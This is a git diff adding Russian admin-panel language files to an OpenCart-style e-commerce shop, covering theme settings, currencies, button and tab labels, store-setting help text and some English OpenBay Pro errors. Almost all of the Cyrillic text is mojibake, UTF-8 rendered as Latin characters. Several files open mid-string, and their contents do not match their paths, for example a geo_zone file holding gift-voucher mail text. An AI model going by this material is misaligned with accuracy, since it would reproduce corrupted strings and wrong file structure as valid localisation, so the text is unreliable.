+$_['text_support_0'] = 'Ð”Ð»Ñ Ð¿Ñ€Ð¾Ð´Ð»ÐµÐ½Ð¸Ñ Ñ‚ÐµÑ…Ð½Ð¸Ñ‡ÐµÑкой поддержки напишите пожалуйÑта нам на почту';
+$_['text_support_1'] = 'Отправить Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð² Ñлужбу поддержки:';
+$_['text_899themes'] = 'Разработчик';
+$_['text_license_0'] = 'Лицензионное Ñоглашение';
+$_['text_theme_lightshop_news_limit'] = 'Сколько новоÑтей показывать на одной Ñтранице';
+$_['text_theme_lightshop_blog_limit'] = 'Сколько запиÑей блога показывать на одной Ñтранице';
+$_['text_theme_lightshop_title'] = 'Заголовок';
+$_['text_theme_lightshop_subtitle'] = 'Подзаголовок';
+$_['text_theme_lightshop_qty'] = 'КоличеÑтво';
+$_['text_theme_lightshop_category_products'] = 'Товары Ñ Ð½ÑƒÐ»ÐµÐ²Ñ‹Ð¼ оÑтатком ';
+$_['text_theme_lightshop_category_products_0'] = 'По умолчанию';
+$_['text_theme_lightshop_category_products_1'] = 'Выводить в конце каталога';
+
+// Entry
+$_['entry_directory'] = 'Папка шаблона';
+$_['entry_status'] = 'СтатуÑ';
+$_['entry_product_limit'] = 'Ðа Ñтранице';
+$_['entry_product_description_length'] = 'Краткое опиÑание';
+$_['entry_image_category'] = 'Категории (Ш x В)';
+$_['entry_image_thumb'] = 'Миниатюры (Ш x В)';
+$_['entry_image_popup'] = 'Ð’Ñплывающие (Ш x Ð’)';
+$_['entry_image_product'] = 'Товара (Ш x В)';
+$_['entry_image_additional'] = 'Дополнительные (Ш x В)';
+$_['entry_image_related'] = 'Рекомендуемые (Ш x В)';
+$_['entry_image_compare'] = 'Ð’ Ñравнении (Ш x Ð’)';
+$_['entry_image_wishlist'] = 'Закладки (Ш x В)';
+$_['entry_image_cart'] = 'В корзине (Ш x В)';
+$_['entry_image_location'] = 'Изображение магазина (Ш x В)';
+$_['entry_width'] = 'Ширина';
+$_['entry_height'] = 'Ð’Ñ‹Ñота';
+
+// Help
+$_['help_directory'] = 'Ðто поле только Ð´Ð»Ñ Ð²Ñ‹Ð±Ð¾Ñ€Ð° Ñтарых шаблонов, что бы Ñделать их ÑовмеÑтимыми Ñ Ð½Ð¾Ð²Ñ‹Ð¼ движком Opencart.';
+$_['help_product_limit'] = 'Сколько Ñлементов показывать на одной Ñтранице (товары, категории, и Ñ‚.п.)';
+$_['help_product_description_length'] = 'Сколько знаков показывать из опиÑÐ°Ð½Ð¸Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð° в режиме ÑпиÑок.';
+$_['help_product_tabs_main'] = 'Вкладка выводитÑÑ Ð² карточке товара поÑле отзывов, вÑплывающее окно перед опциÑми в карточке товара и в быÑтром проÑмотре.';
+$_['help_product_tabs_select'] = 'ЕÑли товары не выбраны то вкладка показываетÑÑ Ð²Ð¾ вÑех товарах.';
+$_['help_product_tabs_cat_select'] = 'ЕÑли категории не выбраны то вкладка показываетÑÑ Ð²Ð¾ вÑех товарах.';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½Ðµ доÑтаточно прав!';
+$_['error_limit'] = 'Укажите количеÑтво Ñимволов в кратком опиÑании товара Ð´Ð»Ñ Ñ€ÐµÐ¶Ð¸Ð¼Ð° ÑпиÑок!';
+$_['error_image_thumb'] = 'Укажите размер миниатюр!';
+$_['error_image_popup'] = 'Укажите размер вÑплывающих изображений товара!';
+$_['error_image_product'] = 'Укажите размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð¾Ð²!';
+$_['error_image_category'] = 'Укажите размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ð¹!';
+$_['error_image_additional'] = 'Укажите размер дополнительных изображений товара!';
+$_['error_image_related'] = 'Укажите размер изображений Ð´Ð»Ñ Ñ€ÐµÐºÐ¾Ð¼ÐµÐ½Ð´ÑƒÐµÐ¼Ñ‹Ñ… (похожих) товаров!';
+$_['error_image_compare'] = 'Укажите размер изображений товара Ð´Ð»Ñ ÑпиÑка Ñравнений!';
+$_['error_image_wishlist'] = 'Укажите размер изображений товара Ð´Ð»Ñ Ð·Ð°ÐºÐ»Ð°Ð´Ð¾Ðº!';
+$_['error_image_cart'] = 'Укажите размер изображений товара Ð´Ð»Ñ ÐºÐ¾Ñ€Ð·Ð¸Ð½Ñ‹!';
+$_['error_image_location'] = 'Укажите размер изображений магазина!';
diff --git a/public/admin/language/ru-ru/extension/theme/theme_default.php b/public/admin/language/ru-ru/extension/theme/theme_default.php
new file mode 100644
index 0000000..ac86e41
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/theme/theme_default.php
@@ -0,0 +1,48 @@
+Ð¤Ð°Ð¼Ð¸Ð»Ð¸Ñ = {lastname} ÐšÐ¾Ð¼Ð¿Ð°Ð½Ð¸Ñ = {company} ÐÐ´Ñ€ÐµÑ 1 = {address_1} ÐÐ´Ñ€ÐµÑ 2 = {address_2} Город = {city} Ð˜Ð½Ð´ÐµÐºÑ = {postcode} Регион = {zone} Код региона = {zone_code} Страна = {country}';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_name'] = 'Ðазвание должно Ñодержать от 3 до 128 Ñимволов!';
+$_['error_default'] = 'Ðту Ñтрану Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ ÐºÐ°Ðº Ñтрана по умолчанию Ð´Ð»Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð°!';
+$_['error_store'] = 'Ðту Ñтрану Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ Ð² %s магазинах!';
+$_['error_address'] = 'Ðту Ñтрану Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ Ð² %s адреÑах!';
+$_['error_affiliate'] = 'Ðту Ñтрану Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ %s партнерами!';
+$_['error_zone'] = 'Ðту Ñтрану Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ Ð² %s зонах!';
+$_['error_zone_to_geo_zone'] = 'Ðту Ñтрану Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ Ð² %s географичеÑких зонах!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/localisation/currency.php b/public/admin/language/ru-ru/localisation/currency.php
new file mode 100644
index 0000000..b523db1
--- /dev/null
+++ b/public/admin/language/ru-ru/localisation/currency.php
@@ -0,0 +1,41 @@
+тут.';
+
+// Column
+$_['column_title'] = 'Ðазвание валюты';
+$_['column_code'] = 'Код';
+$_['column_value'] = 'Значение';
+$_['column_date_modified'] = 'Дата обновлениÑ';
+$_['column_action'] = 'ДейÑтвие';
+
+// Entry
+$_['entry_title'] = 'Ðазвание валюты';
+$_['entry_code'] = 'Код';
+$_['entry_value'] = 'Значение';
+$_['entry_symbol_left'] = 'Символ Ñлева';
+$_['entry_symbol_right'] = 'Символ Ñправа';
+$_['entry_decimal_place'] = 'КоличеÑтво знаков поÑле запÑтой';
+$_['entry_status'] = 'СтатуÑ';
+
+// Help
+$_['help_code'] = 'Ðе изменÑйте, еÑли Ñто ваша валюта по умолчанию.';
+$_['help_value'] = 'УÑтановите 1.00000 еÑли Ñто валюта по умолчанию.';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_title'] = 'Ðазвание должно Ñодержать от 3 до 32 Ñимволов!';
+$_['error_code'] = 'Код валюты должен ÑоÑтоÑть из 3 Ñимволов!';
+$_['error_default'] = 'Ðту Валюту Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ Ð¿Ð¾ умолчанию!';
+$_['error_store'] = 'Ðту Валюту Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ Ð² %s магазинах!';
+$_['error_order'] = 'Ðту Валюту Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ Ð² %s заказах!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/localisation/geo_zone.php b/public/admin/language/ru-ru/localisation/geo_zone.php
new file mode 100644
index 0000000..025bf57
--- /dev/null
+++ b/public/admin/language/ru-ru/localisation/geo_zone.php
@@ -0,0 +1,29 @@
+%s, затем перейдите в магазин по ÑÑылке ниже и закажите товары, которые Вам понравÑÑ‚ÑÑ. Ð’Ñ‹ можете ввеÑти код подарочного Ñертификата на Ñтранице проÑмотра корзины перед тем как начнете оформление заказа.';
+$_['text_footer'] = 'ЕÑли у Ð’Ð°Ñ ÐµÑть какие-либо вопроÑÑ‹, ответьте на Ñто Ñообщение.';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/marketing/affiliate.php b/public/admin/language/ru-ru/marketing/affiliate.php
new file mode 100644
index 0000000..2e063ed
--- /dev/null
+++ b/public/admin/language/ru-ru/marketing/affiliate.php
@@ -0,0 +1,90 @@
+тут.';
+
+// Entry
+$_['entry_username'] = 'Логин';
+$_['entry_secret'] = 'Ключ';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_username'] = 'Ðеобходим логин!';
+$_['error_secret'] = 'Ðеобходим ключ!';
diff --git a/public/admin/language/ru-ru/marketplace/event.php b/public/admin/language/ru-ru/marketplace/event.php
new file mode 100644
index 0000000..9df4216
--- /dev/null
+++ b/public/admin/language/ru-ru/marketplace/event.php
@@ -0,0 +1,23 @@
+ or <';
+$_['error_tracking_courier'] = 'You must select a courier if you want to add a tracking ID';
+$_['error_tracking_custom'] = 'Please leave courier field empty if you want to use custom courier';
+$_['error_permission'] = 'You do not have permission to modify the OpenBay Pro extension';
+$_['error_file_delete'] = 'Unable to remove these files, you should delete them manually';
+$_['error_mkdir'] = 'PHP function "mkdir" is disabled, contact your host';
+$_['error_openssl_encrypt'] = 'PHP function "openssl_encrypt" is not enabled. Contact your hosting provider.';
+$_['error_openssl_decrypt'] = 'PHP function "openssl_decrypt" is not enabled. Contact your hosting provider.';
+$_['error_fopen'] = 'PHP function "fopen" is not enabled. Contact your hosting provider.';
+$_['error_url_fopen'] = '"allow_url_fopen" directive is disabled by your host - you will be unable to import images when importing products from eBay';
+$_['error_curl'] = 'PHP library "CURL" is not enabled. Contact your hosting provider.';
+$_['error_zip'] = 'ZIP extension needs to be loaded. Contact your hosting provider.';
+$_['error_mbstring'] = 'PHP library "mb strings" is not enabled. Contact your hosting provider.';
+$_['error_oc_version'] = 'Your version of OpenCart is not tested to work with this module. You may experience problems.';
+
+// Help
+$_['help_clear_faq'] = 'Show all of the help notifications again';
+$_['help_empty_data'] = 'This can cause serious damage, do not use it if you do not know what it does!';
+$_['help_easy_update'] = 'Click update to install the latest version of OpenBay Pro automatically';
+$_['help_patch'] = 'Click to run the patch scripts';
+$_['help_beta'] = 'Caution! The beta version is the latest development version. It may not be stable and could contain bugs.';
diff --git a/public/admin/language/ru-ru/report/online.php b/public/admin/language/ru-ru/report/online.php
new file mode 100644
index 0000000..5d7f114
--- /dev/null
+++ b/public/admin/language/ru-ru/report/online.php
@@ -0,0 +1,30 @@
+(По умолчанию)';
+$_['text_close'] = 'Закрыть';
+$_['text_pagination'] = 'Показано Ñ %d по %d из %d (вÑего %d Ñтраниц)';
+$_['text_loading'] = 'Загрузка...';
+$_['text_no_results'] = 'Ðет данных!';
+$_['text_confirm'] = 'Вы уверены?';
+$_['text_home'] = 'ГлавнаÑ';
+
+// Button
+$_['button_add'] = 'Добавить';
+$_['button_delete'] = 'Удалить';
+$_['button_save'] = 'Сохранить';
+$_['button_cancel'] = 'Отмена';
+$_['button_cancel_recurring'] = 'Отменить профиль';
+$_['button_continue'] = 'Продолжить';
+$_['button_clear'] = 'ОчиÑтить';
+$_['button_close'] = 'Закрыть';
+$_['button_enable'] = 'Включить';
+$_['button_disable'] = 'Выключить';
+$_['button_filter'] = 'Фильтр';
+$_['button_send'] = 'Отправить';
+$_['button_edit'] = 'Редактировать';
+$_['button_shop'] = 'ПоÑмотреть';
+$_['button_copy'] = 'Копировать';
+$_['button_back'] = 'Ðазад';
+$_['button_remove'] = 'Удалить';
+$_['button_refresh'] = 'Обновить';
+$_['button_export'] = 'ÐкÑпорт';
+$_['button_import'] = 'Импорт';
+$_['button_download'] = 'Скачать';
+$_['button_rebuild'] = 'ИÑправить';
+$_['button_upload'] = 'Загрузить';
+$_['button_submit'] = 'Сохранить';
+$_['button_invoice_print'] = 'Показать Ñчет';
+$_['button_shipping_print'] = 'РаÑпечатать ÑпиÑок доÑтавки';
+$_['button_address_add'] = 'Добавить адреÑ';
+$_['button_attribute_add'] = 'Добавить характериÑтику';
+$_['button_banner_add'] = 'Добавить баннер';
+$_['button_custom_field_value_add'] = 'Добавить пользовательÑкое поле';
+$_['button_product_add'] = 'Добавить товар';
+$_['button_filter_add'] = 'Добавить фильтр';
+$_['button_option_add'] = 'Добавить опцию';
+$_['button_option_value_add'] = 'Добавить значение опции';
+$_['button_recurring_add'] = 'Добавить регулÑрный платеж';
+$_['button_discount_add'] = 'Добавить Ñкидку';
+$_['button_special_add'] = 'Добавить акцию';
+$_['button_image_add'] = 'Добавить изображение';
+$_['button_geo_zone_add'] = 'Добавить географичеÑкую зону';
+$_['button_history_add'] = 'Добавить иÑторию';
+$_['button_transaction_add'] = 'Добавить операцию';
+$_['button_route_add'] = 'Добавить путь';
+$_['button_rule_add'] = 'Добавить правило';
+$_['button_module_add'] = 'Добавить модуль';
+$_['button_link_add'] = 'Добавить ÑÑылку';
+$_['button_approve'] = 'Одобрить';
+$_['button_reset'] = 'СброÑить';
+$_['button_generate'] = 'Генерировать';
+$_['button_voucher_add'] = 'Добавить подарочный Ñертификат';
+$_['button_reward_add'] = 'Добавить бонуÑные баллы';
+$_['button_reward_remove'] = 'Удалить бонуÑные баллы';
+$_['button_commission_add'] = 'Добавить комиÑÑию';
+$_['button_commission_remove'] = 'Удалить комиÑÑию';
+$_['button_credit_add'] = 'Добавить кредит';
+$_['button_credit_remove'] = 'Удалить кредит';
+$_['button_ip_add'] = 'Добавить IP';
+$_['button_parent'] = 'на уровень вверх';
+$_['button_folder'] = 'ÐÐ¾Ð²Ð°Ñ Ð´Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ñ';
+$_['button_search'] = 'ПоиÑк';
+$_['button_view'] = 'ПроÑмотр';
+$_['button_install'] = 'Ðктивировать';
+$_['button_uninstall'] = 'Деактивировать';
+$_['button_login'] = 'Вход в магазин';
+$_['button_unlock'] = 'Разблокировать Ñчет';
+$_['button_link'] = 'СÑылка';
+$_['button_currency'] = 'Обновить курÑÑ‹ валют';
+$_['button_apply'] = 'Применить';
+$_['button_category_add'] = 'Добавить категорию';
+$_['button_enable'] = 'Включить';
+$_['button_disable'] = 'Отключить';
+
+// Tab
+$_['tab_affiliate'] = 'Филиал';
+$_['tab_address'] = 'ÐдреÑ';
+$_['tab_additional'] = 'Дополнительные';
+$_['tab_admin'] = 'ÐдминиÑтратор';
+$_['tab_attribute'] = 'ХарактериÑтики';
+$_['tab_customer'] = 'Покупатель';
+$_['tab_comment'] = 'Комментарий';
+$_['tab_data'] = 'Данные';
+$_['tab_description'] = 'ОпиÑание';
+$_['tab_design'] = 'Дизайн';
+$_['tab_discount'] = 'Скидка';
+$_['tab_general'] = 'Общие';
+$_['tab_history'] = 'ИÑториÑ';
+$_['tab_ftp'] = 'FTP';
+$_['tab_ip'] = 'IP адреÑ';
+$_['tab_links'] = 'СвÑзи';
+$_['tab_log'] = 'Лог';
+$_['tab_image'] = 'ИзображениÑ';
+$_['tab_option'] = 'Опции';
+$_['tab_server'] = 'Сервер';
+$_['tab_seopro'] = 'SeoPro';
+$_['tab_seo'] = 'SEO';
+$_['tab_store'] = 'Магазин';
+$_['tab_special'] = 'Ðкции';
+$_['tab_session'] = 'СеÑÑиÑ';
+$_['tab_local'] = 'ЛокализациÑ';
+$_['tab_mail'] = 'Почта';
+$_['tab_module'] = 'Модуль';
+$_['tab_payment'] = 'Детали оплаты';
+$_['tab_product'] = 'Товары';
+$_['tab_reward'] = 'БонуÑные баллы';
+$_['tab_shipping'] = 'Детали доÑтавки';
+$_['tab_total'] = 'Итоги';
+$_['tab_transaction'] = 'Операции';
+$_['tab_voucher'] = 'Подарочные Ñертификаты';
+$_['tab_sale'] = 'Продажи';
+$_['tab_marketing'] = 'Маркетинг';
+$_['tab_online'] = 'Покупатели онлайн';
+$_['tab_activity'] = 'ПоÑледнÑÑ Ð°ÐºÑ‚Ð¸Ð²Ð½Ð¾Ñть';
+$_['tab_recurring'] = 'РегулÑрные платежи';
+$_['tab_action'] = 'ДейÑтвие';
+$_['tab_google'] = 'Google';
+$_['tab_sms'] = 'SMS';
+$_['tab_extra_tab'] = 'Доп Таб';
+$_['tab_module'] = 'Таб';
+$_['tab_related'] = 'Рекомендуем';
+
+// Error
+$_['error_exception'] = 'Ошибка кода(%s): %s в %s на Ñтроке %s';
+$_['error_upload_1'] = 'Размер загружаемого файла превышает значение upload_max_filesize в php.ini!';
+$_['error_upload_2'] = 'Загруженный файл превышает MAX_FILE_SIZE значение, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±Ñ‹Ð»Ð° указана в наÑтройках!';
+$_['error_upload_3'] = 'Загруженные файлы были загружены лишь чаÑтично!';
+$_['error_upload_4'] = 'Ðет файлов Ð´Ð»Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸!';
+$_['error_upload_6'] = 'Ðе найдены во временной папке!';
+$_['error_upload_7'] = 'Ошибка запиÑи!';
+$_['error_upload_8'] = 'Запрещено загружать файлы данного типа!';
+$_['error_upload_999'] = 'ÐеизвеÑÑ‚Ð½Ð°Ñ Ð¾ÑˆÐ¸Ð±ÐºÐ°!';
+
+$_['summernote'] = 'ru-RU';
+$_['datepicker'] = 'ru';
diff --git a/public/admin/language/ru-ru/ru-ru.png b/public/admin/language/ru-ru/ru-ru.png
new file mode 100644
index 0000000..47da421
Binary files /dev/null and b/public/admin/language/ru-ru/ru-ru.png differ
diff --git a/public/admin/language/ru-ru/sale/order.php b/public/admin/language/ru-ru/sale/order.php
new file mode 100644
index 0000000..327bc05
--- /dev/null
+++ b/public/admin/language/ru-ru/sale/order.php
@@ -0,0 +1,135 @@
+заказа!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/sale/voucher_theme.php b/public/admin/language/ru-ru/sale/voucher_theme.php
new file mode 100644
index 0000000..019b90a
--- /dev/null
+++ b/public/admin/language/ru-ru/sale/voucher_theme.php
@@ -0,0 +1,27 @@
+Подробнее';
+$_['entry_add_prevnext'] = 'ВывеÑти prev, next теги Ð´Ð»Ñ Ð¿Ð°Ð³Ð¸Ð½Ð°Ñ†Ð¸Ð¸';
+$_['entry_add_prevnext_help'] = 'Работает только при включенном ÑпоÑобе вывода тегов - ocStore решение';
+$_['entry_canonical_self'] = 'Выводить тег canonical на оÑновную Ñтраницу';
+$_['entry_canonical_self_help'] = 'Работает только при включенном ÑпоÑобе вывода тегов - ocStore решение';
+$_['entry_canonical_method_help'] = 'Выберите ÑпоÑоб ÑоглаÑно которого будет формироватьÑÑ Ð²Ñ‹Ð²Ð¾Ð´ тегов canonical, prev, next';
+$_['entry_noindex_status'] = 'ИÑпользовать noindex Ð´Ð»Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ð¹, производителей, товаров, Ñтатей и Ñ‚ д';
+$_['entry_noindex_disallow_params'] = 'Игнорировать noindex Ð´Ð»Ñ Ñтраниц Ñ get параметрами:';
+
+// Help
+$_['help_geocode'] = 'ПожалуйÑта, укажите geocode раÑположение вашего магазина.';
+$_['help_open'] = 'Заполните Ð²Ñ€ÐµÐ¼Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ магазина.';
+$_['help_comment'] = 'Ðто поле Ð´Ð»Ñ Ð»ÑŽÐ±Ñ‹Ñ… Ñпециальных пометок, которые вы хотели Ñообщить покупателю, например: что магазин не принимает чеки.';
+$_['help_location'] = 'МеÑÑ‚Ð¾Ð¿Ð¾Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð¾Ð², которые вы хотите отображать на Ñтранице Ñ Ñ„Ð¾Ñ€Ð¼Ð¾Ð¹ обратной ÑвÑзи.';
+$_['help_currency'] = 'Измение валюты по умолчанию. Ðеобходимо очиÑтить кÑш браузера и ÑброÑить cookie, чтобы увидеть изменениÑ.';
+$_['help_currency_auto'] = 'Задать ежедневное автоматичеÑкое обновление валют.';
+$_['help_product_limit'] = 'КоличеÑтво отображаемых на Ñтранице Ñлементов (товары, категории и Ñ‚.п.)';
+$_['help_product_description_length'] = 'КоличеÑтво Ñимволов краткого опиÑаниÑ, (категории, Ñпециальные и Ñ‚.д.).';
+$_['help_limit_admin'] = 'КоличеÑтво отображаемых на Ñтранице Ñлементов (товары, категории, заказы, покупатели и Ñ‚.п.)';
+$_['help_limit_autocomplete'] = 'КоличеÑтво отображаемых Ñлементов при поиÑке Ñ Ð°Ð²Ñ‚Ð¾Ð´Ð¾Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸ÐµÐ¼ (атрибуты, опции, фильтры...) ДЛЯ ÐДМИÐИСТРÐТОРÐ';
+$_['help_product_count'] = 'Показывать количеÑтво товаров в категории. Включение Ñтой опции может привеÑти к увеличению времени загрузки Ñтраниц Ð´Ð»Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð¾Ð² Ñ Ð±Ð¾Ð»ÑŒÑˆÐ¸Ð¼ количеÑтвом товаров!';
+$_['help_review'] = 'Включает/выключает добавление новых отзывов и отображение ÑущеÑтвующих.';
+$_['help_review_guest'] = 'Разрешить гоÑÑ‚Ñм оÑтавлÑть отзывы.';
+$_['help_review_mail'] = 'Отправить E-Mail владельцу магазина при Ñоздании нового отзыва.';
+$_['help_voucher_min'] = 'Минимальный номинал Ð´Ð»Ñ Ð¿Ð¾Ð´Ð°Ñ€Ð¾Ñ‡Ð½Ð¾Ð³Ð¾ Ñертификата (Ð½ÐµÐ»ÑŒÐ·Ñ ÐºÑƒÐ¿Ð¸Ñ‚ÑŒ Ñертификат на меньшую Ñумму).';
+$_['help_voucher_max'] = 'МакÑимальный номинал Ñуммы подарочного Ñертификата (Ð½ÐµÐ»ÑŒÐ·Ñ ÐºÑƒÐ¿Ð¸Ñ‚ÑŒ Ñертификат на Ñумму больше)';
+$_['help_tax_default'] = 'ЕÑли пользователь не залогинен, иÑпользовать Ð°Ð´Ñ€ÐµÑ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° Ð´Ð»Ñ Ð²Ñ‹Ñ‡Ð¸ÑÐ»ÐµÐ½Ð¸Ñ Ð½Ð°Ð»Ð¾Ð³Ð¾Ð². Ð’Ñ‹ можете выбрать иÑпользование адреÑа магазина либо в качеÑтве адреÑа доÑтавки, либо платежного адреÑа покупателÑ.';
+$_['help_tax_customer'] = 'Ð”Ð»Ñ Ð¿Ð¾Ð´Ñчёта налогов надо знать адреÑ. Ð’Ñ‹ можете выбрать иÑпользование выбранного по умолчанию адреÑа Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ Ð°Ð´Ñ€ÐµÑа доÑтавки или платежа покупателÑ.';
+$_['help_customer_online'] = 'ОтÑлеживать онлайн-поÑетителей через Ñекцию отчетов о поÑетителÑÑ….';
+$_['help_customer_activity'] = 'ОтÑлеживать активноÑть покупателей Ð´Ð»Ñ Ð¾Ñ‚Ñ‡ÐµÑ‚Ð¾Ð².';
+$_['help_customer_group'] = 'Группа покупателей по умолчанию.';
+$_['help_customer_group_display'] = 'Отображать группы Ð´Ð»Ñ Ð½Ð¾Ð²Ñ‹Ñ… покупателей которые доÑтупны Ð´Ð»Ñ Ð²Ñ‹Ð±Ñ€Ð° при региÑтрации в качеÑтве оптовиков или юридичеÑких лиц.';
+$_['help_customer_price'] = 'Показывать цены только зарегиÑтрированнным покупателÑм.';
+$_['help_login_attempts'] = 'МакÑимальное чиÑло попыток авторизации перед блокировкой на 1 чаÑ. ПользовательÑкие и партнерÑкие аккаунты возможно разблокировать вручную в ÑоответÑтвующих разделах.';
+$_['help_account'] = 'Требовать подтверждение ÑоглаÑÐ¸Ñ Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»Ð°Ð¼Ð¸ при региÑтрации аккаунта.';
+$_['help_account_mail'] = 'ОповеÑтить владельца магазина о региÑтрации нового покупателÑ.';
+$_['help_invoice_prefix'] = 'УÑтановите Ð¿Ñ€ÐµÑ„Ð¸ÐºÑ Ñчета-фактуры. Пример: INV-2011-00';
+$_['help_cart_weight'] = 'Показывает Ð²ÐµÑ Ð·Ð°ÐºÐ°Ð·Ð°Ð½Ð½Ñ‹Ñ… товаров на Ñтранице корзины.';
+$_['help_checkout_guest'] = 'Позволить покупателÑм оформлÑть заказы без региÑтрации Личного кабинета. Ðта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð½Ðµ будет доÑтупна, еÑли в корзине будут загружаемые в виде файла товары.';
+$_['help_checkout'] = 'Требовать подтверждение ÑоглаÑÐ¸Ñ Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»Ð°Ð¼Ð¸ при оформлении заказа.';
+$_['help_order_status'] = 'Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð·Ð°ÐºÐ°Ð·Ð° по умолчанию.';
+$_['help_processing_status'] = 'УÑтановите ÑÑ‚Ð°Ñ‚ÑƒÑ Ð·Ð°ÐºÐ°Ð·Ð° покупателÑ, которого заказ должен доÑтигнуть, прежде чем на Ñкладе будет Ñокращено наличие и у Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñ Ð±ÑƒÐ´ÑƒÑ‚ применены бонуÑÑ‹ и Ñкидки по купону.';
+$_['help_complete_status'] = 'ПоÑле уÑтановки Ñтого ÑтатуÑа заказу, пользователю будет отправлен E-Mail Ñ Ð´Ð¾Ñтупом к загружаемым товарам и подарочные Ñертификаты.';
+$_['help_fraud_status'] = 'Ðтот ÑÑ‚Ð°Ñ‚ÑƒÑ Ð·Ð°ÐºÐ°Ð·Ð° иÑпользуетÑÑ, когда клиент подозреваетÑÑ Ð² попытке изменить платежные реквизиты заказа или иÑпользовать купон, подарочный ваучер, баллы, которые уже были иÑпользованы.';
+$_['help_order_mail'] = 'Отправить E-Mail владельцу магазина при получении нового заказа.';
+$_['help_api'] = 'По умолчанию Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ API админиÑтратором Ñледует иÑпользовать.';
+$_['help_stock_display'] = 'Показывать оÑтаток товаров на Ñкладе на Ñтранице товара.';
+$_['help_stock_warning'] = 'Предупреждать на Ñтранице корзины о нехватке товара на Ñкладе, еÑли товар закончилÑÑ, но помечен, как имеющийÑÑ Ð² наличии на Ñкладе. (Предупреждение вÑегда показываетÑÑ, еÑли товара нет в наличии).';
+$_['help_stock_checkout'] = 'Разрешить покупателÑм оформлÑть заказ, еÑли заказываемых товаров на данный момент нет на Ñкладе.';
+$_['help_affiliate_approval'] = 'ÐвтоматичеÑкое подтверждение новых зарегиÑтрировавшихÑÑ Ð¿Ð°Ñ€Ñ‚Ð½ÐµÑ€Ð¾Ð².';
+$_['help_affiliate_auto'] = 'ÐвтоматичеÑкое начиÑление комиÑÑии партнеру по завершению Ñделки.';
+$_['help_affiliate_commission'] = 'Процент комиÑÑии партнера по умолчанию.';
+$_['help_affiliate'] = 'Требовать подтверждение ÑоглаÑÐ¸Ñ Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»Ð°Ð¼Ð¸ при оформлении партнерÑкого аккаунта.';
+$_['help_affiliate_mail'] = 'УведомлÑть на E-Mail владельца магазина о региÑтрации нового партнера.';
+$_['help_return'] = 'Требовать принÑÑ‚Ð¸Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð» и уÑловий перед оформлением возврата.';
